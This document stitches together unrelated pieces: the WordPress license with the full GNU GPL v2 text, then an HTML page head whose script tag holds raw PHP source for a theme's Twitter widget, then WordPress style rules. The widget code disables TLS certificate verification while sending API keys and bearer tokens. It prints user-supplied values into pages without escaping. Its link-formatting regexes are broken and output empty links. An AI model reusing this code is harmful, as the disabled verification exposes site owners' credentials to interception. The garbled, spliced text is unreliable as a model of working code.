### WordPress - Web publishing software

    Copyright 2011-2019 by the contributors

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

This program incorporates work covered by the following copyright and
permission notices:

    b2 is (c) 2001, 2002 Michel Valdrighi - m@tidakada.com -
    http://tidakada.com

    Wherever third party code has been used, credit has been given in the code's
    comments.

    b2 is released under the GPL

and

    WordPress - Web publishing software

    Copyright 2003-2010 by the contributors

    WordPress is released under the GPL
  
---

### GNU GENERAL PUBLIC LICENSE

Version 2, June 1991

    Copyright (C) 1989, 1991 Free Software Foundation, Inc.  
    51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA

    Everyone is permitted to copy and distribute verbatim copies
    of this license document, but changing it is not allowed.

### Preamble

The licenses for most software are designed to take away your freedom
to share and change it. By contrast, the GNU General Public License is
intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.

When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if
you distribute copies of the software, or if you modify it.

For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.

We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on,
we want its recipients to know that what they have is not the
original, so that any problems introduced by others will not reflect
on the original authors' reputations.

Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

The precise terms and conditions for copying, distribution and
modification follow.

### TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

**0.** This License applies to any program or other work which
contains a notice placed by the copyright holder saying it may be
distributed under the terms of this General Public License. The
"Program", below, refers to any such program or work, and a "work
based on the Program" means either the Program or any derivative work
under copyright law: that is to say, a work containing the Program or
a portion of it, either verbatim or with modifications and/or
translated into another language. (Hereinafter, translation is
included without limitation in the term "modification".) Each licensee
is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the Program
(independent of having been made by running the Program). Whether that
is true depends on what the Program does.

**1.** You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a
fee.

**2.** You may modify your copy or copies of the Program or any
portion of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

  
**a)** You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.

  
**b)** You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any part
thereof, to be licensed as a whole at no charge to all third parties
under the terms of this License.

  
**c)** If the modified program normally reads commands interactively
when run, you must cause it, when started running for such interactive
use in the most ordinary way, to print or display an announcement
including an appropriate copyright notice and a notice that there is
no warranty (or else, saying that you provide a warranty) and that
users may redistribute the program under these conditions, and telling
the user how to view a copy of this License. (Exception: if the
Program itself is interactive but does not normally print such an
announcement, your work based on the Program is not required to print
an announcement.)

These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

**3.** You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

  
**a)** Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections 1
and 2 above on a medium customarily used for software interchange; or,

  
**b)** Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your cost of
physically performing source distribution, a complete machine-readable
copy of the corresponding source code, to be distributed under the
terms of Sections 1 and 2 above on a medium customarily used for
software interchange; or,

  
**c)** Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is allowed
only for noncommercial distribution and only if you received the
program in object code or executable form with such an offer, in
accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

**4.** You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt otherwise
to copy, modify, sublicense or distribute the Program is void, and
will automatically terminate your rights under this License. However,
parties who have received copies, or rights, from you under this
License will not have their licenses terminated so long as such
parties remain in full compliance.

**5.** You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

**6.** Each time you redistribute the Program (or any work based on
the Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

**7.** If, as a consequence of a court judgment or allegation of
patent infringement or for any other reason (not limited to patent
issues), conditions are imposed on you (whether by court order,
agreement or otherwise) that contradict the conditions of this
License, they do not excuse you from the conditions of this License.
If you cannot distribute so as to satisfy simultaneously your
obligations under this License and any other pertinent obligations,
then as a consequence you may not distribute the Program at all. For
example, if a patent license would not permit royalty-free
redistribution of the Program by all those who receive copies directly
or indirectly through you, then the only way you could satisfy both it
and this License would be to refrain entirely from distribution of the
Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

**8.** If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.

**9.** The Free Software Foundation may publish revised and/or new
versions of the General Public License from time to time. Such new
versions will be similar in spirit to the present version, but may
differ in detail to address new problems or concerns.

Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation. If the Program does not specify a
version number of this License, you may choose any version ever
published by the Free Software Foundation.

**10.** If you wish to incorporate parts of the Program into other
free programs whose distribution conditions are different, write to
the author to ask for permission. For software which is copyrighted by
the Free Software Foundation, write to the Free Software Foundation;
we sometimes make exceptions for this. Our decision will be guided by
the two goals of preserving the free status of all derivatives of our
free software and of promoting the sharing and reuse of software
generally.

**NO WARRANTY**

**11.** BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

**12.** IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.

### END OF TERMS AND CONDITIONS

### How to Apply These Terms to Your New Programs

If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these
terms.

To do so, attach the following notices to the program. It is safest to
attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    one line to give the program's name and an idea of what it does.
    Copyright (C) yyyy  name of author

    This program is free software; you can redistribute it and/or
    modify it under the terms of the GNU General Public License
    as published by the Free Software Foundation; either version 2
    of the License, or (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

Also add information on how to contact you by electronic and paper
mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) year name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details
    type `show w'.  This is free software, and you are welcome
    to redistribute it under certain conditions; type `show c' 
    for details.

The hypothetical commands \`show w' and \`show c' should show the
appropriate parts of the General Public License. Of course, the
commands you use may be called something other than \`show w' and
\`show c'; they could even be mouse-clicks or menu items--whatever
suits your program.

You should also get your employer (if you work as a programmer) or
your school, if any, to sign a "copyright disclaimer" for the program,
if necessary. Here is a sample; alter the names:

    Yoyodyne, Inc., hereby disclaims all copyright
    interest in the program `Gnomovision'
    (which makes passes at compilers) written 
    by James Hacker.

    signature of Ty Coon, 1 April 1989
    Ty Coon, President of Vice

This General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library,
you may consider it more useful to permit linking proprietary
applications with the library. If this is what you want to do, use the
[GNU Lesser General Public
License](http://www.gnu.org/licenses/lgpl.html) instead of this
License.
<!doctype html>
<html lang="en-US" prefix="og: https://ogp.me/ns#">
<head><script>if(navigator.userAgent.match(/MSIE|Internet Explorer/i)||navigator.userAgent.match(/Trident\/7\..*?rv:11/i)){var href=document.location.href;if(!href.match(/[?&]nowprocket/)){if(href.indexOf("?")==-1){if(href.indexOf("#")==-1){document.location.href=href+"?nowprocket=1"}else{document.location.href=href.replace("#","?nowprocket=1#")}}else{if(href.indexOf("#")==-1){document.location.href=href+"&nowprocket=1"}else{document.location.href=href.replace("#","&nowprocket=1#")}}}}</script><script><?php

add_action( 'widgets_init', 'tie_latest_tweet_widget' );
function tie_latest_tweet_widget() {
	register_widget( 'tie_Latest_Tweets' );
}
class tie_Latest_Tweets extends WP_Widget {

	public function __construct(){
		$widget_ops 	= array( 'classname' => 'twitter-widget'  );
		$control_ops 	= array( 'width' => 250, 'height' => 350, 'id_base' => 'latest_tweets_widget' );
		parent::__construct( 'latest_tweets_widget', THEME_NAME .' - '.__( 'Twitter' , 'tie') , $widget_ops, $control_ops );
	}

	public function widget( $args, $instance ) {
		extract( $args );

		$title      = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance, $this->id_base );
		$no_of_tweets 		= $instance['no_of_tweets'];
		$twitter_username 	= $instance['username'];
		$consumer_key 		= $instance['consumer_key'];
		$consumer_secret	= $instance['consumer_secret'];
		$widget_id 			= $args['widget_id'];
		$cacheTime			= 30;

	if( !empty($twitter_username) && !empty($consumer_key) && !empty($consumer_secret) ){

	    $token 			= get_option( 'tie_TwitterToken'.$widget_id );
		$twitter_data 	= get_transient( 'list_tweets'.$widget_id );

		if( empty( $twitter_data ) ){

			if( !$token ) {
				// preparing credentials
				$credentials = $consumer_key . ':' . $consumer_secret;
				$toSend = base64_encode($credentials);

				// http post arguments
				$args = array(
					'method' 		=> 'POST',
					'httpversion' 	=> '1.1',
					'blocking' 		=> true,
					'headers' 		=> array(
							'Authorization' => 'Basic ' . $toSend,
							'Content-Type' 	=> 'application/x-www-form-urlencoded;charset=UTF-8'
					),
					'body' => array( 'grant_type' => 'client_credentials' )
				);

				add_filter('https_ssl_verify', '__return_false');
				$response 	= wp_remote_post('https://api.twitter.com/oauth2/token', $args);
				$keys 		= json_decode(wp_remote_retrieve_body($response));

				if($keys) {
					// saving token to wp_options table
					update_option( 'tie_TwitterToken'.$widget_id , $keys->access_token);
					$token = $keys->access_token;
				}
			}

			// we have bearer token wether we obtained it from API or from options
			$args = array(
				'httpversion' 	=> '1.1',
				'blocking' 		=> true,
				'headers' 		=> array(
						'Authorization' => "Bearer $token"
				)
			);

			add_filter('https_ssl_verify', '__return_false');
			$api_url 	= "https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name=$twitter_username&count=$no_of_tweets";
			$response 	= wp_remote_get($api_url, $args);

			if (!is_wp_error($response)) {
				$twitter_data = json_decode(wp_remote_retrieve_body($response));
				set_transient( 'list_tweets'.$widget_id  , $twitter_data, 60 * $cacheTime);
			}

	    }

		echo $before_widget;
			echo $before_title; ?>
			<a href="http://twitter.com/<?php echo $twitter_username  ?>"><?php echo $title ; ?></a>
		<?php echo $after_title;

			if( is_array($twitter_data)){
            		$i=0;
					$hyperlinks 	= true;
					$twitter_users 	= true;
					$update 		= true;
					echo '
<div class="twitter-widget-content" >
<ul class="twitter_update_list">';
		            foreach($twitter_data as $item){
		                    $msg 		= $item->text;
		                    $permalink 	= 'http://twitter.com/#!/'. $twitter_username .'/status/'. $item->id_str;
		                    $link 		= $permalink;
		                     echo '
<li class="twitter-item">
	<i class="fa fa-twitter"></i>';
		                      if ($hyperlinks){    $msg = $this->hyperlinks($msg); }
		                      if ($twitter_users){ $msg = $this->twitter_users($msg); }
		                      echo $msg;
		                    if($update) {
		                      $time = strtotime($item->created_at);
		                      if ( ( abs( time() - $time) ) < 86400 ){
		                        $h_time = sprintf( __ti( '%s ago' ), human_time_diff( $time ) );

		                      }else{
		                        $h_time = date( 'Y/m/d' , $time);
		                      }
							  echo '<small class="twitter-timestamp"><abbr title="' . date( 'Y/m/d H:i:s' , $time ) . '">' . $h_time . '</abbr></small>';
		                     }
		                    echo '</li>
';
		                    $i++;
		                    if ( $i >= $no_of_tweets ) break;
		            }
					echo '</ul> </div>
';
            	}
				else{
					?> <a href="http://twitter.com/<?php echo $twitter_username  ?>"><?php echo $title ; ?></a>
<?php			}
            ?>
		<?php

		echo $after_widget;
	}
	else{
		echo $before_widget;
		echo $before_title; ?>
			<a href="http://twitter.com/<?php echo $twitter_username  ?>"><?php echo $title ; ?></a>
		<?php echo $after_title;
		echo "Error Can't Get Tweets ... incorrect account info .";
		echo $after_widget;
	}
}

	public function update( $new_instance, $old_instance ) {
		$id = explode("-", $this->get_field_id("widget_id"));
		$widget_id =  $id[1] . "-" . $id[2];

		$instance = $old_instance;
		$instance['title'] 				    = strip_tags( $new_instance['title'] );
		$instance['no_of_tweets'] 		= strip_tags( $new_instance['no_of_tweets'] );
		$instance['username'] 			  = strip_tags( $new_instance['username'] );
		$instance['consumer_key'] 		= strip_tags( $new_instance['consumer_key'] );
		$instance['consumer_secret'] 	= strip_tags( $new_instance['consumer_secret'] );

		delete_option(    'tie_TwitterToken'.$widget_id );
		delete_transient( 'list_tweets'.$widget_id );
		return $instance;
	}

	public function form( $instance ) {

		$defaults = array(
			'title'           =>__('@Follow Me' , 'tie'),
			'no_of_tweets'    => '5',
			'username'        => '',
			'consumer_key'    => '',
			'consumer_secret' => '',
		);

		$instance = wp_parse_args( (array) $instance, $defaults );

		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' , 'tie') ?></label>
			<input id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo $instance['title']; ?>" class="widefat" type="text" />
		</p>

		<p>
			<label for="<?php echo $this->get_field_id( 'username' ); ?>"><?php _e( 'Twitter Username:' , 'tie') ?></label>
			<input id="<?php echo $this->get_field_id( 'username' ); ?>" name="<?php echo $this->get_field_name( 'username' ); ?>" value="<?php echo $instance['username']; ?>" class="widefat" type="text" />
		</p>
		<p>
			<label for="<?php echo $this->get_field_id( 'consumer_key' ); ?>"><?php _e( 'Consumer key:' , 'tie') ?> </label>
			<input id="<?php echo $this->get_field_id( 'consumer_key' ); ?>" name="<?php echo $this->get_field_name( 'consumer_key' ); ?>" value="<?php echo $instance['consumer_key']; ?>" class="widefat" type="text" />
		</p>		<p>
			<label for="<?php echo $this->get_field_id( 'consumer_secret' ); ?>"><?php _e( 'Consumer secret:' , 'tie') ?></label>
			<input id="<?php echo $this->get_field_id( 'consumer_secret' ); ?>" name="<?php echo $this->get_field_name( 'consumer_secret' ); ?>" value="<?php echo $instance['consumer_secret']; ?>" class="widefat" type="text" />
		</p>
		<p>
			<label for="<?php echo $this->get_field_id( 'no_of_tweets' ); ?>"><?php _e( 'Number of Tweets to show:' , 'tie') ?></label>
			<input id="<?php echo $this->get_field_id( 'no_of_tweets' ); ?>" name="<?php echo $this->get_field_name( 'no_of_tweets' ); ?>" value="<?php echo $instance['no_of_tweets']; ?>" type="text" size="3" />
		</p>

	<?php
	}

		/**
	 * Find links and create the hyperlinks
	 */
	private function hyperlinks($text) {
	    $text = preg_replace('/\b([a-zA-Z]+:\/\/[\w_.\-]+\.[a-zA-Z]{2,6}[\/\w\-~.?=&%#+$*!]*)\b/i',"<a href=\"\" class=\"twitter-link\"></a>", $text);
	    $text = preg_replace('/\b(?<!:\/\/)(www\.[\w_.\-]+\.[a-zA-Z]{2,6}[\/\w\-~.?=&%#+$*!]*)\b/i',"<a href=\"http://\" class=\"twitter-link\"></a>", $text);
	    // match name@address
	    $text = preg_replace("/\b([a-zA-Z][a-zA-Z0-9\_\.\-]*[a-zA-Z]*\@[a-zA-Z][a-zA-Z0-9\_\.\-]*[a-zA-Z]{2,6})\b/i","<a href=\"mailto://\" class=\"twitter-link\"></a>", $text);
	        //mach #trendingtopics. Props to Michael Voigt
	    $text = preg_replace('/([\.|\,|\:|\?|\?|\>|\{|\(]?)#{1}(\w*)([\.|\,|\:|\!|\?|\>|\}|\)]?)\s/i', "<a href=\"http://twitter.com/#search?q=\" class=\"twitter-link\">#</a> ", $text);
	    return $text;
	}
	/**
	 * Find twitter usernames and link to them
	 */
	private function twitter_users($text) {
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42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);--wp--preset--shadow--standard: 0 5px 25px 0 var(--cs-palete-box-shadow);}:root { --wp--style--global--content-size: 824px;--wp--style--global--wide-size: 1248px; }:where(body) { margin: 0; }.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }.wp-site-blocks > .alignright { float: right; margin-left: 2em; }.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }:where(.wp-site-blocks) > * { margin-block-start: 24px; margin-block-end: 0; }:where(.wp-site-blocks) > :first-child { margin-block-start: 0; }:where(.wp-site-blocks) > :last-child { margin-block-end: 0; }:root { --wp--style--block-gap: 24px; }:root :where(.is-layout-flow) > :first-child{margin-block-start: 0;}:root :where(.is-layout-flow) > :last-child{margin-block-end: 0;}:root :where(.is-layout-flow) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-constrained) > :first-child{margin-block-start: 0;}:root :where(.is-layout-constrained) > :last-child{margin-block-end: 0;}:root :where(.is-layout-constrained) > *{margin-block-start: 24px;margin-block-end: 0;}:root :where(.is-layout-flex){gap: 24px;}:root :where(.is-layout-grid){gap: 24px;}.is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}a:where(:not(.wp-element-button)){text-decoration: underline;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;line-height: inherit;padding: calc(0.667em + 2px) calc(1.333em + 2px);text-decoration: none;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-primary-color{color: var(--wp--preset--color--primary) !important;}.has-secondary-color{color: var(--wp--preset--color--secondary) !important;}.has-layout-color{color: var(--wp--preset--color--layout) !important;}.has-accent-color{color: var(--wp--preset--color--accent) !important;}.has-border-color{color: var(--wp--preset--color--border) !important;}.has-blue-color{color: var(--wp--preset--color--blue) !important;}.has-green-color{color: var(--wp--preset--color--green) !important;}.has-orange-color{color: var(--wp--preset--color--orange) !important;}.has-red-color{color: var(--wp--preset--color--red) !important;}.has-gray-50-color{color: var(--wp--preset--color--gray-50) !important;}.has-gray-100-color{color: var(--wp--preset--color--gray-100) !important;}.has-gray-200-color{color: var(--wp--preset--color--gray-200) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-primary-background-color{background-color: var(--wp--preset--color--primary) !important;}.has-secondary-background-color{background-color: var(--wp--preset--color--secondary) !important;}.has-layout-background-color{background-color: var(--wp--preset--color--layout) !important;}.has-accent-background-color{background-color: var(--wp--preset--color--accent) !important;}.has-border-background-color{background-color: var(--wp--preset--color--border) !important;}.has-blue-background-color{background-color: var(--wp--preset--color--blue) !important;}.has-green-background-color{background-color: var(--wp--preset--color--green) !important;}.has-orange-background-color{background-color: var(--wp--preset--color--orange) !important;}.has-red-background-color{background-color: var(--wp--preset--color--red) !important;}.has-gray-50-background-color{background-color: var(--wp--preset--color--gray-50) !important;}.has-gray-100-background-color{background-color: var(--wp--preset--color--gray-100) !important;}.has-gray-200-background-color{background-color: var(--wp--preset--color--gray-200) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-primary-border-color{border-color: var(--wp--preset--color--primary) !important;}.has-secondary-border-color{border-color: var(--wp--preset--color--secondary) !important;}.has-layout-border-color{border-color: var(--wp--preset--color--layout) !important;}.has-accent-border-color{border-color: var(--wp--preset--color--accent) !important;}.has-border-border-color{border-color: var(--wp--preset--color--border) !important;}.has-blue-border-color{border-color: var(--wp--preset--color--blue) !important;}.has-green-border-color{border-color: var(--wp--preset--color--green) !important;}.has-orange-border-color{border-color: var(--wp--preset--color--orange) !important;}.has-red-border-color{border-color: var(--wp--preset--color--red) !important;}.has-gray-50-border-color{border-color: var(--wp--preset--color--gray-50) !important;}.has-gray-100-border-color{border-color: var(--wp--preset--color--gray-100) !important;}.has-gray-200-border-color{border-color: var(--wp--preset--color--gray-200) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) 